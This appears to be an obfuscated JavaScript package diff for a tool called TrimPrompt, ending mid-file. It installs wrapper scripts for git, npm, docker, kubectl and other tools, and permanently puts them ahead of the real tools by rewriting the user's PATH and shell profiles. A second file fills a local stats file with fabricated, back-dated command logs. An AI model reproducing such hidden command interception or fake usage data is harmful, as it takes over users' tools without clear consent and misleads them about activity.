_0x2aeb3a=_0x3e41b6(0x10d)+SHIMMED_COMMANDS[_0x3e41b6(0xfe)]+_0x3e41b6(0xd4),_0x48c1d3=_0x3a517c?_0x2aeb3a+_0x3e41b6(0xe6):_0x2aeb3a+_0x3e41b6(0xf6)+_0x14c556;return{'success':!![],'pathDir':_0x2db14a,'message':_0x48c1d3};}catch(_0x51f6df){return{'success':![],'pathDir':_0x2db14a,'message':_0x3e41b6(0xfb)+_0x51f6df[_0x3e41b6(0xe1)]};}}function a0_0x3fb6(){const _0x5d968c=['4328XaTbkT','appendFileSync','30010XwLhAf','[Environment]::GetEnvironmentVariable(\x27PATH\x27,\x20\x27User\x27)','1501936pTwUPX','6979460aHMrPg','6zEXNyG','pnpm','\x20%*\x0a','Please\x20add\x20this\x20to\x20your\x20shell\x20profile\x20(~/.bashrc,\x20~/.zshrc)\x20manually:\x0a\x20\x20export\x20PATH=\x22','hasOwnProperty','git','message','__esModule','npx','mkdirSync','2060255Axvrjx','[SUCCESS]\x20Your\x20system\x20PATH\x20has\x20been\x20automatically\x20and\x20permanently\x20updated\x20to\x20run\x20TrimPrompt\x20in\x20the\x20background.\x0aThis\x20setup\x20persists\x20across\x20system\x20restarts.\x0a\x0a*Note*:\x20Please\x20restart\x20your\x20active\x20terminal\x20window\x20or\x20AI\x20assistant\x20(e.g.\x20Claude\x20Code/Cursor)\x20for\x20the\x20environment\x20changes\x20to\x20take\x20effect.','Failed\x20to\x20uninstall\x20shims:\x20','npm','get','homedir','unlinkSync','defineProperty','__setModuleDefault','4NoRkIu','call','TrimPrompt\x20shims\x20successfully\x20uninstalled.\x20Remember\x20to\x20restore\x20your\x20PATH\x20variable.','.profile','trim','\x20\x22$@\x22\x0a','platform','existsSync','[WARNING]\x20Could\x20not\x20automatically\x20update\x20your\x20system\x20PATH.\x20','join','6213711wXIiLZ','.cmd','pip3','Failed\x20to\x20install\x20shims:\x20','path','shims','length','[Environment]::SetEnvironmentVariable(\x27PATH\x27,\x20\x27','807IKqEza','utf8','.bash_profile','child_process','default','\x0a#\x20TrimPrompt\x20Shims\x20PATH\x0a','includes','755','trim\x20','.zshrc',':$PATH\x22','.bashrc','docker','TrimPrompt\x20shims\x20successfully\x20installed\x20for\x20','cargo','powershell\x20-Command\x20\x22','yarn','1017243GhqxXT','create','uninstallShims','Please\x20add\x20the\x20following\x20path\x20to\x20the\x20front\x20of\x20your\x20User\x20PATH\x20environment\x20variable\x20manually:\x0a\x20\x20','readdirSync','@echo\x20off\x0atrim\x20','toString','#!/bin/sh\x0aexec\x20trim\x20','writeFileSync','.trimprompt','\x20commands.\x0a\x0a'];a0_0x3fb6=function(){return _0x5d968c;};return a0_0x3fb6();}function uninstallShims(){const _0x1b00a2=a0_0x440f2a,_0x30f3bf=path[_0x1b00a2(0xf7)](os[_0x1b00a2(0xea)](),_0x1b00a2(0xd3),'shims');try{if(fs[_0x1b00a2(0xf5)](_0x30f3bf)){const _0x48e268=fs[_0x1b00a2(0xce)](_0x30f3bf);for(const _0x3afda6 of _0x48e268){fs[_0x1b00a2(0xeb)](path['join'](_0x30f3bf,_0x3afda6));}fs['rmdirSync'](_0x30f3bf);}return{'success':!![],'message':_0x1b00a2(0xf0)};}catch(_0x4848ee){return{'success':![],'message':_0x1b00a2(0xe7)+_0x4848ee[_0x1b00a2(0xe1)]};}}
1
+ 'use strict';const a0_0x3672f2=a0_0x3d7d;(function(_0x3ef0cd,_0x40dcbe){const _0x33c83b=a0_0x3d7d,_0x54b108=_0x3ef0cd();while(!![]){try{const _0x2608e9=-parseInt(_0x33c83b(0xb7))/0x1*(-parseInt(_0x33c83b(0xb4))/0x2)+-parseInt(_0x33c83b(0xb8))/0x3*(-parseInt(_0x33c83b(0xf9))/0x4)+-parseInt(_0x33c83b(0xeb))/0x5+parseInt(_0x33c83b(0xe6))/0x6+parseInt(_0x33c83b(0xd0))/0x7+parseInt(_0x33c83b(0xcb))/0x8*(-parseInt(_0x33c83b(0xca))/0x9)+parseInt(_0x33c83b(0xf7))/0xa*(-parseInt(_0x33c83b(0xe1))/0xb);if(_0x2608e9===_0x40dcbe)break;else _0x54b108['push'](_0x54b108['shift']());}catch(_0x3ab175){_0x54b108['push'](_0x54b108['shift']());}}}(a0_0x31a2,0xc208c));function a0_0x31a2(){const _0x444c18=['.profile','Please\x20add\x20this\x20to\x20your\x20shell\x20profile\x20(~/.bashrc,\x20~/.zshrc)\x20manually:\x0a\x20\x20export\x20PATH=\x22','join','\x20$args\x0a','\x27,\x20\x27User\x27)','uninstallShims','mkdirSync','trim\x20','export\x20PATH=\x22','979ewbhPG','\x20commands.\x0a\x0a','appendFileSync','installShims','writeFileSync','2650572kFztQz','writable','pytest','[WARNING]\x20Could\x20not\x20automatically\x20update\x20your\x20system\x20PATH.\x20','rmdirSync','2557935suJffT','cargo','path','get','__esModule','includes','\x20\x22$@\x22\x0a','docker','create','trim','getOwnPropertyDescriptor','@echo\x20off\x0atrim\x20','162430OSXmok','unlinkSync','130244lgoHCT','TrimPrompt\x20shims\x20successfully\x20uninstalled.\x20Remember\x20to\x20restore\x20your\x20PATH\x20variable.','npx','win32','.ps1','__importStar','__createBinding','npm','2exTler','prototype','kubectl','1404496BIHijD','87RIBFzP','[Environment]::SetEnvironmentVariable(\x27PATH\x27,\x20\x27','message','defineProperty','child_process','utf8','chmodSync','glab','homedir','getOwnPropertyNames','755','yarn','git','Please\x20add\x20the\x20following\x20path\x20to\x20the\x20front\x20of\x20your\x20User\x20PATH\x20environment\x20variable\x20manually:\x0a\x20\x20','Failed\x20to\x20install\x20shims:\x20',':$PATH\x22\x0a','__setModuleDefault',':$PATH\x22','9XmKJCz','10482776cbDQaG','.trimprompt','readFileSync','existsSync','.bashrc','8902586XjnOfh','pip3','[SUCCESS]\x20Your\x20system\x20PATH\x20has\x20been\x20automatically\x20and\x20permanently\x20updated\x20to\x20run\x20TrimPrompt\x20in\x20the\x20background.\x0aThis\x20setup\x20persists\x20across\x20system\x20restarts.\x0a\x0a*Note*:\x20Please\x20restart\x20your\x20active\x20terminal\x20window\x20or\x20AI\x20assistant\x20(e.g.\x20Claude\x20Code/Cursor)\x20for\x20the\x20environment\x20changes\x20to\x20take\x20effect.','\x0a#\x20TrimPrompt\x20Shims\x20PATH\x0a','default','#!/bin/sh\x0aexec\x20trim\x20','powershell\x20-Command\x20\x22','shims'];a0_0x31a2=function(){return _0x444c18;};return a0_0x31a2();}var __createBinding=this&&this[a0_0x3672f2(0xb2)]||(Object[a0_0x3672f2(0xf3)]?function(_0x473c7a,_0x396695,_0x5eb20d,_0x5a240c){const _0x4ab73=a0_0x3672f2;if(_0x5a240c===undefined)_0x5a240c=_0x5eb20d;var _0x214849=Object[_0x4ab73(0xf5)](_0x396695,_0x5eb20d);(!_0x214849||(_0x4ab73(0xee)in _0x214849?!_0x396695['__esModule']:_0x214849[_0x4ab73(0xe7)]||_0x214849['configurable']))&&(_0x214849={'enumerable':!![],'get':function(){return _0x396695[_0x5eb20d];}}),Object[_0x4ab73(0xbb)](_0x473c7a,_0x5a240c,_0x214849);}:function(_0x2d3a49,_0x3e1ecc,_0x52393b,_0x1a1c0e){if(_0x1a1c0e===undefined)_0x1a1c0e=_0x52393b;_0x2d3a49[_0x1a1c0e]=_0x3e1ecc[_0x52393b];}),__setModuleDefault=this&&this[a0_0x3672f2(0xc8)]||(Object[a0_0x3672f2(0xf3)]?function(_0x529cdd,_0x54db87){const _0x53642c=a0_0x3672f2;Object[_0x53642c(0xbb)](_0x529cdd,_0x53642c(0xd4),{'enumerable':!![],'value':_0x54db87});}:function(_0x3bb982,_0x178d57){const _0x4984f5=a0_0x3672f2;_0x3bb982[_0x4984f5(0xd4)]=_0x178d57;}),__importStar=this&&this[a0_0x3672f2(0xb1)]||(function(){var _0x4f5f64=function(_0x784d40){const _0x4a743d=a0_0x3d7d;return _0x4f5f64=Object[_0x4a743d(0xc1)]||function(_0x1e0260){const _0x5960eb=_0x4a743d;var _0x4f692e=[];for(var _0x22fc82 in _0x1e0260)if(Object[_0x5960eb(0xb5)]['hasOwnProperty']['call'](_0x1e0260,_0x22fc82))_0x4f692e[_0x4f692e['length']]=_0x22fc82;return _0x4f692e;},_0x4f5f64(_0x784d40);};return function(_0x240e80){const _0x1b901b=a0_0x3d7d;if(_0x240e80&&_0x240e80[_0x1b901b(0xef)])return _0x240e80;var _0x41c2ff={};if(_0x240e80!=null){for(var _0x207fe5=_0x4f5f64(_0x240e80),_0xa8dd83=0x0;_0xa8dd83<_0x207fe5['length'];_0xa8dd83++)if(_0x207fe5[_0xa8dd83]!==_0x1b901b(0xd4))__createBinding(_0x41c2ff,_0x240e80,_0x207fe5[_0xa8dd83]);}return __setModuleDefault(_0x41c2ff,_0x240e80),_0x41c2ff;};}());Object[a0_0x3672f2(0xbb)](exports,a0_0x3672f2(0xef),{'value':!![]}),exports[a0_0x3672f2(0xe4)]=installShims,exports[a0_0x3672f2(0xdd)]=uninstallShims;const fs=__importStar(require('fs')),path=__importStar(require(a0_0x3672f2(0xed))),os=__importStar(require('os')),SHIMMED_COMMANDS=[a0_0x3672f2(0xc4),'gh',a0_0x3672f2(0xbf),a0_0x3672f2(0xec),a0_0x3672f2(0xb3),'pnpm',a0_0x3672f2(0xfb),a0_0x3672f2(0xc3),a0_0x3672f2(0xb6),a0_0x3672f2(0xf2),a0_0x3672f2(0xe8),'pip',a0_0x3672f2(0xd1),'go'];function installShims(){const _0x10365e=a0_0x3672f2,_0x2d19c0=path['join'](os[_0x10365e(0xc0)](),'.trimprompt',_0x10365e(0xd7));try{!fs[_0x10365e(0xce)](_0x2d19c0)&&fs[_0x10365e(0xde)](_0x2d19c0,{'recursive':!![]});const _0x36ad99=os['platform']()===_0x10365e(0xaf);for(const _0x1f09f4 of SHIMMED_COMMANDS){if(_0x36ad99){const _0x453711=path[_0x10365e(0xda)](_0x2d19c0,_0x1f09f4+'.cmd'),_0x2264e5=_0x10365e(0xf6)+_0x1f09f4+'\x20%*\x0a';fs[_0x10365e(0xe5)](_0x453711,_0x2264e5,'utf8');const _0x10b3ec=path['join'](_0x2d19c0,_0x1f09f4+_0x10365e(0xb0)),_0x75402c=_0x10365e(0xdf)+_0x1f09f4+_0x10365e(0xdb);fs['writeFileSync'](_0x10b3ec,_0x75402c,_0x10365e(0xbd));}else{const _0x18d55d=path[_0x10365e(0xda)](_0x2d19c0,_0x1f09f4),_0x3d3575=_0x10365e(0xd5)+_0x1f09f4+_0x10365e(0xf1);fs[_0x10365e(0xe5)](_0x18d55d,_0x3d3575,_0x10365e(0xbd)),fs[_0x10365e(0xbe)](_0x18d55d,_0x10365e(0xc2));}}let _0x13ad45=![],_0x266bcb='';if(_0x36ad99)try{const {execSync:_0x27afee}=require(_0x10365e(0xbc)),_0x1139a4='[Environment]::GetEnvironmentVariable(\x27PATH\x27,\x20\x27User\x27)',_0x5c2294=_0x27afee('powershell\x20-Command\x20\x22'+_0x1139a4+'\x22')['toString']()[_0x10365e(0xf4)]();if(!_0x5c2294[_0x10365e(0xf0)](_0x2d19c0)){const _0x21c654=_0x2d19c0+';'+_0x5c2294,_0x38568a=_0x10365e(0xb9)+_0x21c654+_0x10365e(0xdc);_0x27afee(_0x10365e(0xd6)+_0x38568a+'\x22'),_0x13ad45=!![];}else _0x13ad45=!![];}catch(_0x45c7a8){_0x266bcb=_0x10365e(0xc5)+_0x2d19c0;}else try{const _0x230510=_0x10365e(0xe0)+_0x2d19c0+_0x10365e(0xc7),_0x509ac0=os[_0x10365e(0xc0)](),_0x50d624=[_0x10365e(0xcf),'.zshrc','.bash_profile',_0x10365e(0xd8)];let _0x5f1103=![];for(const _0xb73672 of _0x50d624){const _0x28a898=path[_0x10365e(0xda)](_0x509ac0,_0xb73672);if(fs[_0x10365e(0xce)](_0x28a898)){const _0x46b2ea=fs[_0x10365e(0xcd)](_0x28a898,_0x10365e(0xbd));!_0x46b2ea['includes'](_0x2d19c0)?(fs['appendFileSync'](_0x28a898,_0x10365e(0xd3)+_0x230510),_0x5f1103=!![]):_0x5f1103=!![];}}if(!_0x5f1103){const _0x6be4d5=path[_0x10365e(0xda)](_0x509ac0,_0x10365e(0xcf));fs[_0x10365e(0xe3)](_0x6be4d5,_0x10365e(0xd3)+_0x230510);}_0x13ad45=!![];}catch(_0x4ced6b){_0x266bcb=_0x10365e(0xd9)+_0x2d19c0+_0x10365e(0xc9);}const _0x5f18bf='TrimPrompt\x20shims\x20successfully\x20installed\x20for\x20'+SHIMMED_COMMANDS['length']+_0x10365e(0xe2),_0x49bdae=_0x13ad45?_0x5f18bf+_0x10365e(0xd2):_0x5f18bf+_0x10365e(0xe9)+_0x266bcb;return{'success':!![],'pathDir':_0x2d19c0,'message':_0x49bdae};}catch(_0x2810bc){return{'success':![],'pathDir':_0x2d19c0,'message':_0x10365e(0xc6)+_0x2810bc['message']};}}function a0_0x3d7d(_0x3f83ea,_0x3c8e0d){_0x3f83ea=_0x3f83ea-0xaf;const _0x31a24a=a0_0x31a2();let _0x3d7d39=_0x31a24a[_0x3f83ea];return _0x3d7d39;}function uninstallShims(){const _0x5dea7e=a0_0x3672f2,_0x4f2ab6=path[_0x5dea7e(0xda)](os['homedir'](),_0x5dea7e(0xcc),_0x5dea7e(0xd7));try{if(fs['existsSync'](_0x4f2ab6)){const _0x1b557e=fs['readdirSync'](_0x4f2ab6);for(const _0x3ff419 of _0x1b557e){fs[_0x5dea7e(0xf8)](path['join'](_0x4f2ab6,_0x3ff419));}fs[_0x5dea7e(0xea)](_0x4f2ab6);}return{'success':!![],'message':_0x5dea7e(0xfa)};}catch(_0xbe551c){return{'success':![],'message':'Failed\x20to\x20uninstall\x20shims:\x20'+_0xbe551c[_0x5dea7e(0xba)]};}}
package/simulate.js CHANGED
@@ -1 +1 @@
1
- 'use strict';const a0_0x382da7=a0_0x5b31;(function(_0x1b3ae5,_0xa0272f){const _0x3d4af4=a0_0x5b31,_0x4df8c1=_0x1b3ae5();while(!![]){try{const _0x8315a5=-parseInt(_0x3d4af4(0x1e4))/0x1*(-parseInt(_0x3d4af4(0x1e6))/0x2)+-parseInt(_0x3d4af4(0x1d7))/0x3*(parseInt(_0x3d4af4(0x1f8))/0x4)+parseInt(_0x3d4af4(0x1f2))/0x5+-parseInt(_0x3d4af4(0x1fd))/0x6*(parseInt(_0x3d4af4(0x1de))/0x7)+-parseInt(_0x3d4af4(0x1e1))/0x8+parseInt(_0x3d4af4(0x1d5))/0x9+parseInt(_0x3d4af4(0x1ee))/0xa;if(_0x8315a5===_0xa0272f)break;else _0x4df8c1['push'](_0x4df8c1['shift']());}catch(_0x2f802f){_0x4df8c1['push'](_0x4df8c1['shift']());}}}(a0_0x534e,0xb42ed));Object[a0_0x382da7(0x1ec)](exports,a0_0x382da7(0x1f3),{'value':!![]});const tracker_1=require(a0_0x382da7(0x1fb));function a0_0x5b31(_0x56740f,_0x41b266){_0x56740f=_0x56740f-0x1c3;const _0x534e99=a0_0x534e();let _0x5b3178=_0x534e99[_0x56740f];return _0x5b3178;}console[a0_0x382da7(0x1f1)](a0_0x382da7(0x1f4));const models=[a0_0x382da7(0x1ed),'gpt-4o',a0_0x382da7(0x1dd),a0_0x382da7(0x1d3),a0_0x382da7(0x1c7),'claude-3-opus'],commands=[{'cmd':a0_0x382da7(0x1df),'raw':'diff\x20--git\x20a/src/cli.ts\x20b/src/cli.ts\x0aindex\x201234..5678\x20100644\x0a---\x20a/src/cli.ts\x0a+++\x20b/src/cli.ts\x0a@@\x20-10,6\x20+10,12\x20@@\x0a+\x20//\x20Added\x20new\x20telemetry\x20features\x0a+\x20console.log(\x22Initializing\x20sync\x20daemon...\x22);\x0a+\x20startSync();\x0a'[a0_0x382da7(0x1c3)](0x32),'comp':a0_0x382da7(0x1ca),'exitCode':0x0},{'cmd':a0_0x382da7(0x1d8),'raw':'running\x2045\x20tests\x0atest\x20tests::db_connection\x20...\x20ok\x0atest\x20tests::auth_handler\x20...\x20ok\x0a'+a0_0x382da7(0x1e5)['repeat'](0x28)+a0_0x382da7(0x1cc),'comp':a0_0x382da7(0x1f0),'exitCode':0x0},{'cmd':'npm\x20install\x20lodash\x20express\x20uuid\x20react','raw':a0_0x382da7(0x1e0)+a0_0x382da7(0x1e9)+a0_0x382da7(0x1cb),'comp':a0_0x382da7(0x1c6),'exitCode':0x0},{'cmd':'aws\x20s3\x20sync\x20dist/\x20s3://trimprompt-assets','raw':'upload:\x20dist/index.html\x20to\x20s3://trimprompt-assets/index.html\x0a'+'upload:\x20dist/hub-index.html\x20to\x20s3://trimprompt-assets/hub-index.html\x0a'+a0_0x382da7(0x1d2)+a0_0x382da7(0x1f7),'comp':a0_0x382da7(0x1d1),'exitCode':0x0},{'cmd':a0_0x382da7(0x1dc),'raw':'NAME\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20READY\x20\x20\x20STATUS\x20\x20\x20\x20RESTARTS\x20\x20\x20AGE\x0a'+a0_0x382da7(0x1e7)+'trimprompt-sync-324db87d1-p8q2e\x20\x20\x201/1\x20\x20\x20\x20\x20Running\x20\x20\x200\x20\x20\x20\x20\x20\x20\x20\x20\x20\x204d\x0a'+a0_0x382da7(0x1d9)+a0_0x382da7(0x1d0),'comp':a0_0x382da7(0x1da),'exitCode':0x0},{'cmd':'pip\x20install\x20tensorflow\x20pandas\x20numpy','raw':'Collecting\x20tensorflow\x0a\x20\x20Downloading\x20tensorflow-2.15.0-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl\x20(475.2\x20MB)\x0a'+'\x20\x20Installing\x20build\x20dependencies\x20...\x20done\x0a'+a0_0x382da7(0x1c4),'comp':a0_0x382da7(0x1cf),'exitCode':0x0},{'cmd':'git\x20log\x20-n\x205','raw':a0_0x382da7(0x1e3)+'commit\x20f6e5d4c3b2a1\x0aAuthor:\x20Developer\x20<dev@trimprompt.ai>\x0aDate:\x20\x20\x20Tue\x20Jun\x2016\x2013:30:00\x202026\x20+0300\x0a\x0a\x20\x20\x20\x20fix:\x20adjust\x20margins\x20on\x20visual\x20graph','comp':'git\x20log:\x205\x20commits\x20(feat:\x20add\x20dynamic\x20token\x20costs,\x20fix:\x20adjust\x20margins...)','exitCode':0x0},{'cmd':a0_0x382da7(0x1ea),'raw':a0_0x382da7(0x1ef)+'src/tracker.ts:45:9\x20-\x20warning:\x20console.log\x20should\x20be\x20removed\x0a'+a0_0x382da7(0x1cd),'comp':a0_0x382da7(0x1e2),'exitCode':0x0}],startTime=Date[a0_0x382da7(0x1f9)]()-0x36ee80;for(let i=0x0;i<0xc;i++){const model=models[i%models[a0_0x382da7(0x1f6)]],commandItem=commands[Math['floor'](Math[a0_0x382da7(0x1c9)]()*commands['length'])];process.env.TRIMPROMPT_MODEL=model;const timestamp=new Date(startTime+i*0x3d090)[a0_0x382da7(0x1e8)](),log=tracker_1[a0_0x382da7(0x1fc)][a0_0x382da7(0x1c8)](commandItem[a0_0x382da7(0x1d6)],commandItem['raw'],commandItem[a0_0x382da7(0x1db)],commandItem[a0_0x382da7(0x1f5)]),logs=tracker_1[a0_0x382da7(0x1fc)]['getLogs']();logs[a0_0x382da7(0x1f6)]>0x0&&(logs[logs[a0_0x382da7(0x1f6)]-0x1]['timestamp']=timestamp,require('fs')['writeFileSync'](require(a0_0x382da7(0x1c5))['join'](require('os')[a0_0x382da7(0x1ce)](),'.trimprompt',a0_0x382da7(0x1fa)),JSON[a0_0x382da7(0x1d4)](logs,null,0x2),a0_0x382da7(0x1eb)));}console['log']('workflow\x20simulation\x20complete!\x2012\x20additional\x20commands\x20logged.');function a0_0x534e(){const _0x51686f=['npm\x20install:\x20added\x2084\x20packages,\x20audited\x2096\x20packages.\x200\x20vulnerabilities.','gemini-1-5-flash','logExecution','random','diff\x20--git\x20a/src/cli.ts\x20b/src/cli.ts\x20(50\x20insertions,\x200\x20deletions)','found\x200\x20vulnerabilities\x0a','\x20...\x20ok\x0atest\x20result:\x20ok.\x2045\x20passed;\x200\x20failed;\x200\x20ignored;\x200\x20measured;\x200\x20filtered\x20out','✖\x202\x20problems\x20(0\x20errors,\x202\x20warnings)\x0a','homedir','pip\x20install:\x20Successfully\x20installed\x20tensorflow-2.15.0\x20numpy-1.26.2\x20pandas-2.1.3','postgres-db-0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x201/1\x20\x20\x20\x20\x20Running\x20\x20\x200\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2012d\x0a','aws\x20s3\x20sync:\x203\x20assets\x20uploaded\x20successfully.','upload:\x20dist/cli.js\x20to\x20s3://trimprompt-assets/cli.js\x0a','gemini-1-5-pro','stringify','2700963EnHkEu','cmd','6885mzSfRY','cargo\x20test','redis-master-0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x201/1\x20\x20\x20\x20\x20Running\x20\x20\x200\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2012d\x0a','kubectl\x20get\x20pods:\x20trimprompt-api\x20(Running),\x20trimprompt-sync\x20(Running),\x20redis-master\x20(Running),\x20postgres-db\x20(Running)','comp','kubectl\x20get\x20pods\x20-n\x20production','gpt-4o-mini','2248302wGpSzV','git\x20diff\x20main','npm\x20warn\x20deprecated\x20uuid@3.4.0:\x20Please\x20upgrade...\x0a','1323656KTWGMD','npm\x20run\x20lint:\x20✖\x202\x20warnings','commit\x20a1b2c3d4e5f6\x0aAuthor:\x20Developer\x20<dev@trimprompt.ai>\x0aDate:\x20\x20\x20Tue\x20Jun\x2016\x2014:00:00\x202026\x20+0300\x0a\x0a\x20\x20\x20\x20feat:\x20add\x20dynamic\x20token\x20costs\x0a\x0a','8hIBlYV','test\x20tests::test_case_','274954ljvhmL','trimprompt-api-567fdb7d6-x8w9q\x20\x20\x20\x201/1\x20\x20\x20\x20\x20Running\x20\x20\x200\x20\x20\x20\x20\x20\x20\x20\x20\x20\x204d\x0a','toISOString','added\x2084\x20packages,\x20changed\x2012\x20packages,\x20and\x20audited\x2096\x20packages\x20in\x203s\x0a','npm\x20run\x20lint','utf8','defineProperty','claude-3-5-sonnet','9966520PbXVmj','src/cli.ts:12:3\x20-\x20warning:\x20unused\x20import\x0a','cargo\x20test:\x2045\x20passed,\x200\x20failed.','log','4317670qSIfhB','__esModule','Starting\x20simulation\x20of\x20developer\x20workflow\x20activity...','exitCode','length','Completed\x203\x20of\x203\x20assets\x20successfully.','2428RUJvNq','now','stats.json','./tracker','tracker','18znuKWX','repeat','Successfully\x20installed\x20tensorflow-2.15.0\x20numpy-1.26.2\x20pandas-2.1.3\x0a','path'];a0_0x534e=function(){return _0x51686f;};return a0_0x534e();}
1
+ 'use strict';const a0_0x40a171=a0_0x3794;(function(_0x2e5c31,_0x1c3491){const _0x11122b=a0_0x3794,_0x5d3ab7=_0x2e5c31();while(!![]){try{const _0x332dd2=parseInt(_0x11122b(0x177))/0x1*(parseInt(_0x11122b(0x173))/0x2)+-parseInt(_0x11122b(0x178))/0x3*(-parseInt(_0x11122b(0x13e))/0x4)+-parseInt(_0x11122b(0x14f))/0x5*(parseInt(_0x11122b(0x15f))/0x6)+parseInt(_0x11122b(0x141))/0x7*(parseInt(_0x11122b(0x162))/0x8)+parseInt(_0x11122b(0x17b))/0x9+-parseInt(_0x11122b(0x152))/0xa*(-parseInt(_0x11122b(0x13c))/0xb)+-parseInt(_0x11122b(0x14d))/0xc*(parseInt(_0x11122b(0x143))/0xd);if(_0x332dd2===_0x1c3491)break;else _0x5d3ab7['push'](_0x5d3ab7['shift']());}catch(_0x5a7229){_0x5d3ab7['push'](_0x5d3ab7['shift']());}}}(a0_0x426d,0x9c47e));function a0_0x3794(_0x4523b6,_0x39cad2){_0x4523b6=_0x4523b6-0x137;const _0x426de6=a0_0x426d();let _0x3794dc=_0x426de6[_0x4523b6];return _0x3794dc;}Object['defineProperty'](exports,a0_0x40a171(0x145),{'value':!![]});const tracker_1=require('./tracker');console[a0_0x40a171(0x17e)]('Starting\x20simulation\x20of\x20developer\x20workflow\x20activity...');function a0_0x426d(){const _0x256401=['git\x20log:\x205\x20commits\x20(feat:\x20add\x20dynamic\x20token\x20costs,\x20fix:\x20adjust\x20margins...)','src/tracker.ts:45:9\x20-\x20warning:\x20console.log\x20should\x20be\x20removed\x0a','4PoFMba','diff\x20--git\x20a/src/cli.ts\x20b/src/cli.ts\x20(50\x20insertions,\x200\x20deletions)','path','upload:\x20dist/hub-index.html\x20to\x20s3://trimprompt-assets/hub-index.html\x0a','345011AIGYim','1089SnAYkR','git\x20diff\x20main','npm\x20run\x20lint:\x20✖\x202\x20warnings','3531096zYMnWB','upload:\x20dist/index.html\x20to\x20s3://trimprompt-assets/index.html\x0a','getLogs','log','NAME\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20READY\x20\x20\x20STATUS\x20\x20\x20\x20RESTARTS\x20\x20\x20AGE\x0a','trimprompt-api-567fdb7d6-x8w9q\x20\x20\x20\x201/1\x20\x20\x20\x20\x20Running\x20\x20\x200\x20\x20\x20\x20\x20\x20\x20\x20\x20\x204d\x0a','Collecting\x20tensorflow\x0a\x20\x20Downloading\x20tensorflow-2.15.0-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl\x20(475.2\x20MB)\x0a','logExecution','gpt-4o-mini','commit\x20f6e5d4c3b2a1\x0aAuthor:\x20Developer\x20<dev@trimprompt.ai>\x0aDate:\x20\x20\x20Tue\x20Jun\x2016\x2013:30:00\x202026\x20+0300\x0a\x0a\x20\x20\x20\x20fix:\x20adjust\x20margins\x20on\x20visual\x20graph','npm\x20warn\x20deprecated\x20uuid@3.4.0:\x20Please\x20upgrade...\x0a','154253twOdqE','redis-master-0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x201/1\x20\x20\x20\x20\x20Running\x20\x20\x200\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2012d\x0a','10512sMHlLd','added\x2084\x20packages,\x20changed\x2012\x20packages,\x20and\x20audited\x2096\x20packages\x20in\x203s\x0a','trimprompt-sync-324db87d1-p8q2e\x20\x20\x201/1\x20\x20\x20\x20\x20Running\x20\x20\x200\x20\x20\x20\x20\x20\x20\x20\x20\x20\x204d\x0a','7uxhFLm','length','221ZwpAzC','homedir','__esModule','cargo\x20test','stats.json','Completed\x203\x20of\x203\x20assets\x20successfully.','kubectl\x20get\x20pods\x20-n\x20production','timestamp','commit\x20a1b2c3d4e5f6\x0aAuthor:\x20Developer\x20<dev@trimprompt.ai>\x0aDate:\x20\x20\x20Tue\x20Jun\x2016\x2014:00:00\x202026\x20+0300\x0a\x0a\x20\x20\x20\x20feat:\x20add\x20dynamic\x20token\x20costs\x0a\x0a','upload:\x20dist/cli.js\x20to\x20s3://trimprompt-assets/cli.js\x0a','1515996eVTlaJ','claude-3-5-sonnet','22245sCBhmD','✖\x202\x20problems\x20(0\x20errors,\x202\x20warnings)\x0a','repeat','290PBZJmC','writeFileSync','\x20\x20Installing\x20build\x20dependencies\x20...\x20done\x0a','pip\x20install\x20tensorflow\x20pandas\x20numpy','join','running\x2045\x20tests\x0atest\x20tests::db_connection\x20...\x20ok\x0atest\x20tests::auth_handler\x20...\x20ok\x0a','\x20...\x20ok\x0atest\x20result:\x20ok.\x2045\x20passed;\x200\x20failed;\x200\x20ignored;\x200\x20measured;\x200\x20filtered\x20out','found\x200\x20vulnerabilities\x0a','cargo\x20test:\x2045\x20passed,\x200\x20failed.','Successfully\x20installed\x20tensorflow-2.15.0\x20numpy-1.26.2\x20pandas-2.1.3\x0a','random','npm\x20run\x20lint','gpt-4o','198qWEipg','gemini-1-5-flash','kubectl\x20get\x20pods:\x20trimprompt-api\x20(Running),\x20trimprompt-sync\x20(Running),\x20redis-master\x20(Running),\x20postgres-db\x20(Running)','3932856DCgGNz','comp','stringify','diff\x20--git\x20a/src/cli.ts\x20b/src/cli.ts\x0aindex\x201234..5678\x20100644\x0a---\x20a/src/cli.ts\x0a+++\x20b/src/cli.ts\x0a@@\x20-10,6\x20+10,12\x20@@\x0a+\x20//\x20Added\x20new\x20telemetry\x20features\x0a+\x20console.log(\x22Initializing\x20sync\x20daemon...\x22);\x0a+\x20startSync();\x0a','exitCode','aws\x20s3\x20sync\x20dist/\x20s3://trimprompt-assets','tracker','.trimprompt','postgres-db-0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x201/1\x20\x20\x20\x20\x20Running\x20\x20\x200\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2012d\x0a','gemini-1-5-pro','npm\x20install\x20lodash\x20express\x20uuid\x20react','claude-3-opus','git\x20log\x20-n\x205','aws\x20s3\x20sync:\x203\x20assets\x20uploaded\x20successfully.','workflow\x20simulation\x20complete!\x2012\x20additional\x20commands\x20logged.'];a0_0x426d=function(){return _0x256401;};return a0_0x426d();}const 